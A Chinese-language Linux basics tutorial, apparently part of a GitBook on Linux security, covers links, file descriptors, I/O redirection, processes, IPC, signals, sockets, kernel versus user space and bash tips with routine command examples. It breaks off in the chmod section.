硬链接（Hard links）和符号链接（Symbolic links）是链接到硬盘驱动器上文件的两种不同方法。这些方法是文件系统的一部分，定义了文件及其位置。

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-f1f18c9c96c80af599289d8a49aa6e5e5479f28d%2Fhard-symbolic-links.jpeg?alt=media)

### 硬链接

`硬链接`是指向同一文件的两个文件名（你可以将它们视为文件别名）。例如，`.`和`..`是系统上当前目录和父目录的硬链接。

使用`ln`创建硬链接：

```bash
$ ls -li
total 0
1637699 -rw-r--r--  1 user  wheel  0 Feb  7 10:03 a

# 创建x作为a的硬链接
$ ln a x

$ ls -li
total 0
1637699 -rw-r--r--  2 user  wheel  0 Feb  7 10:03 a
1637699 -rw-r--r--  2 user  wheel  0 Feb  7 10:03 x
```

注意两个文件具有相同的inode编号。修改`x`或`a`都会更改同一个文件。

### 符号链接

`符号链接`是从一个位置到另一个位置的链接。符号链接是一个新文件，与原始文件分开，链接到原始文件。

使用`ln`创建符号链接：

```bash
$ ls -li
total 0
1637699 -rw-r--r--  1 user  wheel  0 Feb  7 10:03 a

# 创建y作为a的符号链接
$ ln -s a y

$ ls -li
total 0
1637699 -rw-r--r--  2 user  wheel  0 Feb  7 10:03 a
1638321 lrwxr-xr-x  1 user  wheel  1 Feb  7 10:09 y -> a
```

`y`是一个符号链接，是一个新的小文件（见大小为1）。修改`y`会更改`a`。

## 文件结构

文件系统可以被视为树状数据结构。每个节点（inode）都有指向其父节点、自身和所有子节点的指针。这形成了目录结构。

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-1b8b563d0d036844373b96ba054d7b367668e0fb%2Ffile-structure.jpg?alt=media)

## 总结

* 文件系统使用inode构建
* inode在文件系统上是唯一的
* 用户是文件属性的一部分；此信息存储在inode中
* 多个文件系统可以被挂载并抽象为一个逻辑树

## 参考资料

* [How Unix Works: Become a Better Software Engineer](https://neilkakkar.com/unix.html) - 深入了解UNIX工作原理
* [Julia's Drawings: Unix permissions](https://drawings.jvns.ca/permissions/) - UNIX权限的可视化解释
* [How to use special permissions: the setuid, setgid and sticky bits](https://linuxconfig.org/how-to-use-special-permissions-the-setuid-setgid-and-sticky-bits) - 特殊权限的使用指南


# 文件描述符

![](https://drawings.jvns.ca/drawings/filedescriptors.jpeg)

## 什么是文件描述符？

文件描述符（File Descriptor）是内核为了管理已经打开的文件而创建的索引。它是一个非负整数，在形式上表现为一个整数。在Linux系统中，所有对设备的操作、对文件的操作都可以通过文件描述符来进行。

## 标准文件描述符

Linux系统为每个进程自动打开三个标准文件描述符：

* **0** - 标准输入（stdin） - 默认连接到键盘
* **1** - 标准输出（stdout） - 默认连接到终端屏幕
* **2** - 标准错误（stderr） - 默认连接到终端屏幕

## 文件描述符的工作原理

当进程打开文件时，内核会：

1. 在文件描述符表中寻找一个空闲的条目
2. 为该文件分配一个文件描述符（一个小的非负整数）
3. 在文件表中创建一个条目，包含文件的访问模式、当前位置等信息
4. 返回文件描述符给进程

## 文件描述符的范围

* **0-2**: 保留给标准输入、标准输出和标准错误
* **3-9**: 可用于用户自定义的文件描述符
* **10及以上**: 通常用于程序内部使用

## 文件描述符与I/O重定向

文件描述符是I/O重定向的基础。通过重定向，我们可以：

* 将标准输出重定向到文件
* 将标准错误重定向到文件
* 将标准输入重定向从文件读取
* 在文件描述符之间进行复制

## 示例

```bash
# 查看当前进程的文件描述符
$ ls -la /proc/self/fd/

# 创建新的文件描述符
$ exec 3< input.txt    # 打开文件用于读取，文件描述符为3
$ exec 4> output.txt   # 打开文件用于写入，文件描述符为4

# 使用文件描述符
$ cat <&3              # 从文件描述符3读取
$ echo "hello" >&4     # 写入到文件描述符4

# 关闭文件描述符
$ exec 3<&-           # 关闭文件描述符3
$ exec 4>&-           # 关闭文件描述符4
```

## 文件描述符的限制

每个进程都有文件描述符数量的限制，可以通过以下命令查看：

```bash
# 查看系统限制
$ ulimit -n

# 查看进程当前打开的文件描述符数量
$ ls /proc/<PID>/fd/ | wc -l
```

## 系统调用

常用的文件描述符相关系统调用：

* `open()` - 打开文件，返回文件描述符
* `close()` - 关闭文件描述符
* `read()` - 从文件描述符读取
* `write()` - 写入到文件描述符
* `dup()` - 复制文件描述符
* `fcntl()` - 操作文件描述符属性

## 参考资料

* [Linux 文件描述符详解](https://man7.org/linux/man-pages/man2/open.2.html)
* [Julia's Drawings: File Descriptors](https://drawings.jvns.ca/filedescriptors/)


# I/O重定向

## I/O 重定向

在UNIX系统中，获取输入和写入输出的流是预定义的。总是有三个默认文件打开：

* `stdin` 是输入数据源（键盘）
* `stdout` 是输出数据源（屏幕）
* `stderr` 是标准错误输出源（错误消息输出到屏幕）

这些以及任何其他打开的文件都可以被重定向。重定向简单地说就是捕获来自文件、命令、程序、脚本甚至脚本内代码块的输出，并将其作为输入发送到另一个文件、命令、程序或脚本。

### 基本重定向操作

```bash
## command_output >
# 将stdout重定向到文件
# 如果文件不存在则创建，否则覆盖它
$ ls -la > ls_result.txt

## : > filename
# '>' 将文件 'filename' 截断为零长度
# 如果文件不存在，创建零长度文件（与 'touch' 效果相同）
# ':' 用作虚拟占位符，不产生输出
$ : > empty_file.txt

## command_output >>
# 将stdout重定向到文件
# 如果文件不存在则创建，否则追加到它
$ ls -la >> ls_result.txt
```

### 文件描述符重定向

每个打开的文件都会被分配一个[文件描述符](/linux-an-quan/overview/file-descriptor)。`stdin`、`stdout`和`stderr`的文件描述符分别是`0`、`1`和`2`。对于打开的额外文件，保留描述符`3`到`9`。

```bash
## m>n
# 'm' 是文件描述符，如果未显式设置则默认为1
# 'n' 是文件名
# 文件描述符 'm' 重定向到文件 'n'
$ ls -la > ls_result.txt
$ ls -la 1>ls_result.txt
$ ./script.sh 2>error.log

## m>&n
# 'm' 是文件描述符，如果未设置则默认为1
# 'n' 是另一个文件描述符
$ ./script.sh 2>&1 > log.txt

## &>filename
# 将stdout和stderr都重定向到文件 'filename'
$ ./script.sh &>filename

## < filename
# 从文件接受输入
$ grep "*some*" <filename
$ grep "*some*" 0<filename
```

### 高级重定向技巧

#### 合并输出流

```bash
# 将stderr重定向到stdout
$ command 2>&1

# 将stdout和stderr都重定向到文件
$ command &> output.txt
$ command > output.txt 2>&1

# 将stdout重定向到文件，stderr重定向到另一个文件
$ command > stdout.txt 2> stderr.txt
```

#### 输入重定向

```bash
# 从文件读取输入
$ command < input.txt

# 从here document读取输入
$ command << EOF
line1
line2
EOF

# 从here string读取输入
$ command <<< "hello world"
```

#### 进程替换

```bash
# 将命令的输出作为文件使用
$ diff <(command1) <(command2)

# 将多个命令的输出合并
$ cat <(ls) <(pwd)
```

### 防止意外覆盖

你可以通过在shell中设置`noclobber`选项来确保没有任何重定向会破坏现有文件：

```bash
$ set -o noclobber
$ sort file.txt > file.txt
-bash: file.txt: cannot overwrite existing file

# 临时覆盖
$ sort file.txt >| file.txt

# 关闭noclobber
$ set +o noclobber
```

### 实用示例

#### 日志记录

```bash
# 将正常输出和错误分别记录到不同文件
$ ./script.sh > success.log 2> error.log

# 将所有输出记录到同一文件
$ ./script.sh > all.log 2>&1

# 同时输出到屏幕和文件
$ ./script.sh 2>&1 | tee output.log
```

#### 调试

```bash
# 仅显示错误
$ ./script.sh 2> error.log >/dev/null

# 静默模式（仅显示错误）
$ ./script.sh >/dev/null

# 丢弃所有输出
$ ./script.sh >/dev/null 2>&1
```

## 参考资料

* [How Unix Works: Become a Better Software Engineer](https://neilkakkar.com/unix.html) - 深入了解UNIX工作原理
* [Advanced Bash-Scripting Guide: I/O Redirection](https://tldp.org/LDP/abs/html/io-redirection.html) - 高级Bash脚本编写指南
* [Bash Redirections Cheat Sheet](https://mywiki.wooledge.org/BashGuide/InputAndOutput#Redirections) - Bash重定向速查表


# 进程管理

## 进程管理

关于进程，需要记住三个组成部分：

* `程序文件（Program file）` - 代码和数据
* `进程映像（Process image）` - 存储栈、当前定义的变量、数据、地址空间等[更多信息](https://tldp.org/LDP/LG/issue23/flower/psimage.html)；当需要运行时，操作系统知道如何使用这个映像重新创建进程
* `进程（Process）` - 内存中运行的程序

当进程开始运行时，它会从父进程继承`用户ID（user-id）`和`组ID（group-id）`。这个信息控制进程的访问级别。你可以使用[setuid](/linux-an-quan/overview/file#setuid-bit)或[setgid](/linux-an-quan/overview/file#setgid-bit)来启用进程继承文件所有者权限。

### 进程属性

![](https://drawings.jvns.ca/drawings/process.png)

每个进程都有以下属性：

* 唯一标识符，称为进程ID或`pid`
* 指向生成它的父进程的链接

有一个特殊的根父进程称为`init`，它通常有`pid` 1。`init`的`ppid`是0（传统上意味着它没有父进程）。`pid` 0对应内核调度器，它不是用户进程。

> `systemd`现在正在Linux上取代`init`，它解决了`init`的一些问题并且整体更稳定，更多内容请参见[这里](https://www.tecmint.com/systemd-replaces-init-in-linux/)

### 进程生命周期

UNIX中进程工作有一个通用模式：

1. 通过克隆现有父进程创建新的子进程 [fork()](https://man7.org/linux/man-pages/man2/fork.2.html)
2. 这个新的子进程调用[exec()](https://man7.org/linux/man-pages/man3/exec.3.html)来替换子进程中运行的父进程，用子进程想要运行的进程
3. 子进程调用[exit()](https://man7.org/linux/man-pages/man3/exit.3.html)来终止自己；它只传递退出码；`0`表示成功，其他都是错误码
4. 父进程需要调用[wait()](https://man7.org/linux/man-pages/man2/waitid.2.html)系统调用来获取这个退出码

这个周期为每个生成的进程重复。

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-e80a40403e2532e80349cb0ee9ba1e3488267ff6%2Fprocess-lifecycle.jpg?alt=media)

这里有一些可能出错的情况：

* 如果父进程不调用`wait()`怎么办？这会导致`僵尸进程`（zombie process）- 这是一个资源泄漏，因为操作系统在退出码被父进程消费之前无法清理进程
* 如果父进程在子进程之前死亡怎么办？这会导致`孤儿进程`（orphan process）；`孤儿进程`被`init`进程（特殊的根父进程）收养，然后等待子进程完成

父进程如何从子进程获取额外信息？使用退出码是不可能的。但是，有其他方法可以进行[进程间通信](/linux-an-quan/overview/inter-process-communication)。

### 进程状态

进程可以处于以下几种状态：

* **运行（Running）**: 正在CPU上执行
* **就绪（Ready）**: 等待CPU执行
* **阻塞（Blocked）**: 等待某个事件（如I/O操作）
* **僵尸（Zombie）**: 已终止但父进程尚未调用`wait()`
* **孤儿（Orphan）**: 父进程已终止，被`init`进程收养

### 进程管理命令

```bash
# 查看当前进程
$ ps
$ ps aux      # 详细信息
$ ps -ef      # 完整格式

# 查看进程树
$ pstree

# 动态查看进程
$ top
$ htop        # 更友好的界面

# 终止进程
$ kill <pid>          # 正常终止
$ kill -9 <pid>       # 强制终止
$ killall <name>      # 按名称终止

# 后台运行进程
$ command &
$ nohup command &     # 忽略挂断信号

# 查看进程详细信息
$ /proc/<pid>/status
$ /proc/<pid>/cmdline
```

### 进程优先级

```bash
# 查看进程优先级
$ top

# 更改进程优先级
$ renice -n 10 -p <pid>    # 降低优先级
$ renice -n -5 -p <pid>    # 提高优先级

# 以特定优先级启动进程
$ nice -n 10 command        # 低优先级
$ nice -n -5 command       # 高优先级
```

## 参考资料

* [How Unix Works: Become a Better Software Engineer](https://neilkakkar.com/unix.html) - 深入了解UNIX工作原理
* [Linux Process Management](https://linuxconfig.org/linux-process-management) - Linux进程管理指南
* [Understanding Linux Processes](https://www.baeldung.com/linux/understanding-processes) - 理解Linux进程


# 进程间通信

![](https://drawings.jvns.ca/drawings/ipc.png)

## 什么是进程间通信？

进程间通信（Inter-Process Communication, IPC）是指在不同进程之间传递数据和信息的机制。由于每个进程都有独立的地址空间，它们不能直接访问对方的内存，因此需要特殊的机制来进行通信。

## 主要的IPC机制

### 1. 管道（Pipes）

* **匿名管道**：只能在有亲缘关系的进程间使用
* **命名管道（FIFO）**：可以在无亲缘关系的进程间使用

### 2. 信号（Signals）

* 异步通知机制
* 用于通知进程发生了某个事件

### 3. 消息队列（Message Queues）

* 允许进程以消息形式进行通信
* 消息可以有优先级

### 4. 共享内存（Shared Memory）

* 最快的IPC机制
* 多个进程共享同一块内存区域

### 5. 信号量（Semaphores）

* 用于进程同步
* 控制对共享资源的访问

### 6. 套接字（Sockets）

* 可用于网络通信
* 支持不同主机间的进程通信

## 管道示例

```bash
# 创建管道
$ command1 | command2

# 创建命名管道
$ mkfifo mypipe
$ cat mypipe &          # 后台读取
$ echo "hello" > mypipe # 写入
```

## 信号示例

```bash
# 发送信号
$ kill -SIGTERM <pid>
$ kill -9 <pid>         # SIGKILL

# 捕获信号
$ trap "echo 'Received SIGINT'" SIGINT
```

## 共享内存示例

```c
// C语言示例
#include <sys/shm.h>
#include <sys/ipc.h>

key_t key = ftok("/tmp", 'A');
int shmid = shmget(key, 1024, IPC_CREAT | 0666);
char *data = shmat(shmid, NULL, 0);
```

## 选择合适的IPC机制

| 机制   | 速度 | 复杂性 | 适用场景  |
| ---- | -- | --- | ----- |
| 管道   | 中等 | 简单  | 单向数据流 |
| 信号   | 快速 | 简单  | 事件通知  |
| 消息队列 | 中等 | 中等  | 结构化数据 |
| 共享内存 | 最快 | 复杂  | 大量数据  |
| 套接字  | 慢  | 复杂  | 网络通信  |

## 参考资料

* [Linux IPC机制详解](https://man7.org/linux/man-pages/man7/ipc.7.html)
* [Julia's Drawings: IPC](https://drawings.jvns.ca/ipc/)


# Shell基础

## Shell 基础

### Shell 与终端

当Shell启动时，操作系统为它提供三个文件来工作：`stdin`、`stdout`和`stderr`。当从终端运行时，`stdin`连接到键盘输入。你写的内容被传递到终端。这通过一个称为电传打字机或`tty`的文件发生。`stdout`和`stderr`也连接到`tty`，这就是为什么你运行的任何命令的输出和错误都会显示在终端中。

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-5b8f481b797715c8cfd30497607fdc2a1a945873%2Ftty.jpg?alt=media)

你打开的每个终端都会通过`tty`分配一个新文件，这样来自一个终端的命令不会破坏另一个终端的命令。你可以通过`tty`命令找出你的终端连接的文件：

```bash
$ tty
/dev/pts/0
```

### 管道（Pipes）

![](https://drawings.jvns.ca/drawings/pipes.png)

管道，`|`，将两个进程连接在一起。它表示对[pipe()](https://man7.org/linux/man-pages/man2/pipe.2.html)的系统调用，它所做的只是为进程重定向`stdin`和`stdout`。

![$ echo ls | bash](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-c73937fc4c66e2c815bf349bdaef93a3fe087ab0%2Fpipe-example-1.jpg?alt=media)

上图是一个轻微的简化，用于解释管道重定向：

* 上层的bash分叉另一个连接到`tty`的bash，它产生`ls`的输出
* 由于上层的bash是从下层分叉的，它继承了下层的文件描述符
* 下层的bash没有分叉新进程，因为`echo`是内置命令

![$ ls -ail | sort -nr -k 6 | head -n 1 | cut -f 9 -d ' '](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-00f588374c23e5585537d250a66017c2844e26d0%2Fpipe-example-2.jpg?alt=media)

注意`stderr`总是直接路由到`tty`。你可以在管道之前切换流，并将`stderr`而不是`stdout`重定向到管道。

```bash
$ ./script.sh 2>&1 >/dev/null
```

### 变量

**局部变量**是你在shell中创建的变量。它们是局部的，因此不会传递给子进程（记住，每个非内置命令都在一个新的shell中，没有这些局部变量）。

**环境变量**（`env` vars）类似于全局变量。它们被传递给子进程。但是，子进程中环境变量的更改不能传递给父进程（记住，子进程和父进程之间除了退出码外没有通信）。

```bash
$ env
TERM=xterm
TMPDIR=/tmp
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PWD=/
LANG=en_US.UTF-8
SHLVL=1
HOME=/root
LANGUAGE=en_US:en
LESSOPEN=||/usr/bin/lesspipe.sh %s
_=/bin/env
```

### Shell 类型

#### Bash (Bourne Again Shell)

* 最常用的Linux shell
* 功能丰富，兼容性好

#### Zsh (Z Shell)

* 更现代化的shell
* 强大的自动补全功能

#### Fish (Friendly Interactive Shell)

* 用户友好的shell
* 智能建议和语法高亮

#### Sh (Bourne Shell)

* 最基础的shell
* 所有shell的兼容基础

### Shell 脚本基础

```bash
#!/bin/bash

# 注释
# 变量赋值
NAME="World"

# 使用变量
echo "Hello, $NAME!"

# 条件语句
if [ "$NAME" == "World" ]; then
    echo "Greetings, World!"
else
    echo "Hello, $NAME!"
fi

# 循环
for i in {1..5}; do
    echo "Count: $i"
done

# 函数
greet() {
    echo "Hello, $1!"
}

greet "Alice"
```

### 常用Shell命令

```bash
# 查看当前shell
$ echo $SHELL
$ echo $0

# 切换shell
$ zsh
$ bash

# 查看历史命令
$ history
$ history | grep "pattern"

# 重复上一个命令
$ !!

# 重复包含特定模式的命令
$ !pattern

# 查看当前工作目录
$ pwd

# 改变目录
$ cd /path/to/directory

# 列出文件
$ ls -la

# 创建目录
$ mkdir new_directory

# 删除文件
$ rm file.txt
$ rm -rf directory/  # 递归删除目录
```

### Shell 配置文件

* `~/.bashrc` - Bash的配置文件
* `~/.bash_profile` - 登录时执行的配置
* `~/.profile` - 通用配置文件
* `/etc/bashrc` - 系统级配置文件

## 参考资料

* [How Unix Works: Become a Better Software Engineer](https://neilkakkar.com/unix.html) - 深入了解UNIX工作原理
* [Bash Reference Manual](https://www.gnu.org/software/bash/manual/) - Bash参考手册
* [Advanced Bash-Scripting Guide](https://tldp.org/LDP/abs/html/) - 高级Bash脚本编写指南


# 信号机制

![](https://drawings.jvns.ca/drawings/signals.jpeg)

## 什么是信号？

信号是UNIX/Linux系统中进程间通信的一种机制，用于通知进程发生了某个异步事件。信号是软件中断，可以中断进程的正常执行流程。

## 常见信号

| 信号名称      | 信号编号 | 默认动作    | 描述           |
| --------- | ---- | ------- | ------------ |
| `SIGHUP`  | 1    | 终止      | 终端挂起         |
| `SIGINT`  | 2    | 终止      | 键盘中断（Ctrl+C） |
| `SIGQUIT` | 3    | 终止+core | 键盘退出（Ctrl+\） |
| `SIGILL`  | 4    | 终止+core | 非法指令         |
| `SIGABRT` | 6    | 终止+core | 调用abort()    |
| `SIGFPE`  | 8    | 终止+core | 浮点异常         |
| `SIGKILL` | 9    | 终止      | 强制终止（不可捕获）   |
| `SIGSEGV` | 11   | 终止+core | 段错误          |
| `SIGPIPE` | 13   | 终止      | 管道破裂         |
| `SIGALRM` | 14   | 终止      | 定时器到期        |
| `SIGTERM` | 15   | 终止      | 终止信号（可捕获）    |
| `SIGCHLD` | 17   | 忽略      | 子进程状态改变      |
| `SIGCONT` | 18   | 继续      | 继续执行         |
| `SIGSTOP` | 19   | 停止      | 暂停执行（不可捕获）   |
| `SIGTSTP` | 20   | 停止      | 键盘停止（Ctrl+Z） |

## 信号处理

进程可以采取三种方式处理信号：

1. **默认处理**：执行信号的默认动作
2. **忽略信号**：大多数信号可以被忽略（除了SIGKILL和SIGSTOP）
3. **捕获信号**：定义信号处理函数来响应信号

## 信号相关命令

```bash
# 发送信号
$ kill -SIGTERM <pid>        # 发送SIGTERM信号
$ kill -9 <pid>              # 发送SIGKILL信号
$ kill -HUP <pid>            # 发送SIGHUP信号

# 查看信号
$ kill -l                    # 列出所有信号
$ trap -l                    # 列出所有信号名称

# 捕获信号（在shell脚本中）
$ trap "echo 'Received SIGINT'" SIGINT
$ trap "cleanup" EXIT        # 在脚本退出时执行cleanup函数

# 忽略信号
$ trap "" SIGINT             # 忽略SIGINT信号
$ trap - SIGINT              # 恢复默认处理
```

## 信号示例

```bash
#!/bin/bash

# 捕获SIGINT信号
trap 'echo "脚本被中断！"; exit 1' SIGINT

echo "脚本开始运行..."
echo "按Ctrl+C来中断脚本"

count=0
while [ $count -lt 10 ]; do
    echo "计数: $count"
    sleep 1
    count=$((count + 1))
done

echo "脚本正常完成"
```

## 信号的应用场景

1. **进程控制**：启动、停止、暂停进程
2. **进程通信**：通知进程某些事件
3. **错误处理**：处理异常情况
4. **资源管理**：清理资源，优雅退出

## 注意事项

* `SIGKILL`和`SIGSTOP`不能被捕获或忽略
* 信号处理函数应该尽量简单
* 在信号处理函数中避免调用不安全函数
* 信号可能会在任意时间点到达

## 参考资料

* [Linux信号手册](https://man7.org/linux/man-pages/man7/signal.7.html)
* [Julia's Drawings: Signals](https://drawings.jvns.ca/signals/)


# 套接字

## 套接字（Sockets）

![](https://drawings.jvns.ca/drawings/sockets.jpeg)

### 什么是套接字？

套接字（Socket）是网络编程的基础，它是进程间通信的一种机制，允许不同主机上的进程进行通信。套接字提供了一个通用的接口，用于通过网络进行数据传输。

### 套接字类型

#### 1. 流套接字（SOCK\_STREAM）

* 提供面向连接的、可靠的数据传输
* 使用TCP协议
* 保证数据顺序和完整性
* 适用于文件传输、网页浏览等

#### 2. 数据报套接字（SOCK\_DGRAM）

* 提供无连接的、不可靠的数据传输
* 使用UDP协议
* 不保证数据顺序和完整性
* 适用于视频流、实时游戏等

#### 3. 原始套接字（SOCK\_RAW）

* 提供对底层网络协议的访问
* 需要root权限
* 适用于网络诊断、协议开发

### 基本套接字操作

```c
// 创建套接字
int socket_fd = socket(domain, type, protocol);

// 绑定地址
bind(socket_fd, (struct sockaddr*)&address, sizeof(address));

// 监听连接（服务器）
listen(socket_fd, backlog);

// 接受连接（服务器）
int client_fd = accept(socket_fd, NULL, NULL);

// 连接服务器（客户端）
connect(socket_fd, (struct sockaddr*)&address, sizeof(address));

// 发送数据
send(socket_fd, buffer, buffer_size, 0);

// 接收数据
recv(socket_fd, buffer, buffer_size, 0);

// 关闭套接字
close(socket_fd);
```

### 地址族

* `AF_INET` - IPv4地址族
* `AF_INET6` - IPv6地址族
* `AF_UNIX` - UNIX域套接字
* `AF_NETLINK` - 内核用户接口
* `AF_PACKET` - 底层包接口

### 套接字选项

```c
// 设置套接字选项
int optval = 1;
setsockopt(socket_fd, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval));

// 设置超时
struct timeval timeout;
timeout.tv_sec = 5;
timeout.tv_usec = 0;
setsockopt(socket_fd, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout));
```

### 常见错误处理

* `ECONNREFUSED` - 连接被拒绝
* `ETIMEDOUT` - 连接超时
* `ECONNRESET` - 连接被重置
* `ENOTCONN` - 套接字未连接

## UNIX域套接字

![](https://drawings.jvns.ca/drawings/unixdomain.jpeg)

### UNIX域套接字特点

UNIX域套接字（UNIX Domain Sockets）是一种特殊的套接字，用于同一主机上的进程间通信。

#### 优势

* **高性能**：不经过网络栈，直接在内核中传递数据
* **安全性**：基于文件系统权限
* **可靠性**：保证数据传输的完整性
* **低延迟**：没有网络开销

#### 使用场景

* 本地服务通信
* 数据库连接
* IPC（进程间通信）
* 微服务架构

#### 创建UNIX域套接字

```c
// 创建UNIX域套接字
int fd = socket(AF_UNIX, SOCK_STREAM, 0);

// 设置地址结构
struct sockaddr_un addr;
addr.sun_family = AF_UNIX;
strcpy(addr.sun_path, "/tmp/socket_file");

// 绑定地址
bind(fd, (struct sockaddr*)&addr, sizeof(addr));

// 监听和接受连接
listen(fd, 5);
int client_fd = accept(fd, NULL, NULL);
```

#### 文件权限

UNIX域套接字的权限由文件系统权限控制：

```bash
# 设置套接字权限
$ chmod 660 /tmp/socket_file
$ chown user:group /tmp/socket_file
```

#### 客户端连接

```c
// 客户端连接
int fd = socket(AF_UNIX, SOCK_STREAM, 0);
struct sockaddr_un addr;
addr.sun_family = AF_UNIX;
strcpy(addr.sun_path, "/tmp/socket_file");
connect(fd, (struct sockaddr*)&addr, sizeof(addr));
```

### 套接字最佳实践

1. **错误处理**：始终检查系统调用的返回值
2. **资源管理**：正确关闭套接字，避免资源泄漏
3. **超时设置**：为网络操作设置合理的超时时间
4. **缓冲区管理**：正确处理部分发送/接收的情况
5. **并发处理**：使用多线程或I/O多路复用处理并发连接

### 参考资料

* [套接字编程指南](https://beej.us/guide/bgnet/)
* [Linux套接字手册](https://man7.org/linux/man-pages/man7/socket.7.html)
* [Julia's Drawings: Sockets](https://drawings.jvns.ca/sockets/)


# 用户空间与内核空间

![](https://drawings.jvns.ca/drawings/userspace.png)

## 什么是用户空间和内核空间？

在Linux系统中，内存被划分为两个主要的区域：**用户空间**（User Space）和**内核空间**（Kernel Space）。这种隔离是为了保护系统的稳定性和安全性。

## 内核空间

**内核空间**是操作系统内核运行的区域，具有以下特点：

* **最高权限**：可以直接访问硬件和所有内存
* **受保护区域**：用户程序无法直接访问
* **系统服务**：提供进程管理、内存管理、设备驱动等
* **特权指令**：可以执行所有CPU指令

### 内核的主要功能

1. **进程管理**：创建、调度、终止进程
2. **内存管理**：虚拟内存、物理内存分配
3. **文件系统**：文件存储和访问控制
4. **设备管理**：硬件设备的抽象和驱动
5. **网络协议栈**：TCP/IP协议实现
6. **系统调用接口**：为用户程序提供服务

## 用户空间

**用户空间**是普通应用程序运行的区域，具有以下特点：

* **受限权限**：只能访问自己的内存空间
* **隔离环境**：进程间相互隔离
* **系统调用**：通过系统调用请求内核服务
* **用户程序**：包括应用程序、库、Shell等

### 用户空间的组成

* **应用程序**：用户直接使用的程序
* **系统库**：C库、数学库等
* **Shell**：命令行解释器
* **GUI**：图形用户界面

## 系统调用（System Calls）

系统调用是用户空间程序请求内核服务的唯一方式：

```c
// 常见的系统调用
int fd = open("file.txt", O_RDONLY);  // 打开文件
ssize_t bytes = read(fd, buffer, size); // 读取数据
int result = write(fd, buffer, size);  // 写入数据
int status = close(fd);                // 关闭文件
```

### 系统调用过程

1. 用户程序发起系统调用
2. CPU从用户模式切换到内核模式
3. 内核执行相应的服务
4. 结果返回给用户程序
5. CPU从内核模式切换回用户模式

## 保护机制

### 模式切换

* **用户模式（User Mode）**：受限执行环境
* **内核模式（Kernel Mode）**：完全执行权限

### 内存保护

* **虚拟内存**：每个进程有独立的地址空间
* **页面保护**：控制内存访问权限
* **MMU**：内存管理单元负责地址转换

## 为什么需要这种分离？

### 1. 安全性

* 防止恶意程序破坏系统
* 保护系统关键数据
* 控制硬件访问

### 2. 稳定性

* 用户程序崩溃不会影响内核
* 错误隔离和恢复
* 系统整体可靠性

### 3. 资源管理

* 公平的资源分配
* 内存保护
* 进程间隔离

### 4. 可移植性

* 硬件抽象
* 统一的API
* 跨平台兼容

## 用户空间与内核空间的交互

### 1. 系统调用

```c
// 文件操作
int open(const char *pathname, int flags);
ssize_t read(int fd, void *buf, size_t count);
ssize_t write(int fd, const void *buf, size_t count);

// 进程控制
pid_t fork(void);
void exit(int status);
pid_t wait(int *status);

// 网络通信
int socket(int domain, int type, int protocol);
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
```

### 2. 信号（Signals）

* 内核向进程发送通知
* 异步事件处理
* 进程间通信

### 3. 文件系统

* 通过文件描述符访问
* 统一的I/O接口
* 设备抽象为文件

### 4. 虚拟文件系统（/proc）

* `/proc`文件系统提供内核信息
* 动态系统信息
* 进程信息查看

```bash
# 查看系统信息
$ cat /proc/cpuinfo
$ cat /proc/meminfo
$ cat /proc/version

# 查看进程信息
$ cat /proc/<pid>/status
$ cat /proc/<pid>/maps
```

## 性能考虑

### 系统调用的开销

* 模式切换的成本
* 缓存失效
* 上下文保存和恢复

### 优化策略

* 减少系统调用次数
* 使用批处理操作
* 缓冲和缓存
* 异步I/O

## 现代发展

### 1. 内核模块

* 动态加载内核功能
* 设备驱动开发
* 扩展内核功能

### 2. 用户空间驱动

* 某些驱动程序在用户空间运行
* 更好的安全性
* 更容易开发

### 3. 容器和虚拟化

* 命名空间隔离
* cgroups资源控制
* 轻量级虚拟化

## 参考资料

* [Linux内核架构](https://www.kernel.org/doc/html/latest/)
* [系统调用原理](https://man7.org/linux/man-pages/man2/syscalls.2.html)
* [Julia's Drawings: Userspace](https://drawings.jvns.ca/userspace/)


# Bash技巧

## Bash 技巧

![](https://drawings.jvns.ca/drawings/bashtips.png)

### Bash 多进程处理

{% embed url="<https://web.archive.org/web/20210625034833/https://fr1nge.xyz/posts/supercharge-your-bash-scripts-with-multiprocessing/>" %}

## 有用命令

### cheat.sh - 命令速查工具

[cheat.sh](https://github.com/chubin/cheat.sh) 提供对世界上最好的社区驱动的速查表存储库的统一访问。

```bash
# 要获取速查表，只需使用以下命令
# 将 <command> 更改为命令名称，例如 ls、id、curl 等
$ curl cheat.sh/<command>

# curl 的速查表
$ curl cheat.sh/curl
```

### aria2c - 多线程下载工具

[aria2](https://github.com/aria2/aria2) 是一个轻量级的多协议和多源、跨平台的命令行下载工具。

```bash
# 多线程下载
$ aria2c -x5 <URL>

# 重启 aria2c 会继续未完成的下载
$ aria2c -x5 <URL>
^C
$ aria2c -x5 <URL> # 下载继续

# 下载种子文件（只需将种子文件传递给输入）
$ aria2c <name>.torrent
```

### chmod - 文件权限修改

```bash
# 为所有者启用所有权限，为组启用写入权限，为其他人启用执行权限
# 或者 rwx-w---x
$ chmod 721 <name>

### 详细形式
# 为用户启用 rwx
$ chmod u+rwx <name>

# 为组启用 w
$ chmod g+w <name>

# 为其他人启用 x
$ chmod o+x <name>

# 为所有人启用 x
$ chmod a+x <file>

### 移除权限（使用 '-' 代替 '+'）
# 禁用组和其他人的 x 权限
$ chmod og-x <name>

### setuid (4), setgid (2), sticky (1) 位
# 设置 setgid 位
# 或者 rwxr-sr-x
$ chmod 2755 <name>

## 详细形式
# 设置 setuid 位
$ chmod u+s <name>

# 设置 setgid 位
$ chmod g+s <name>

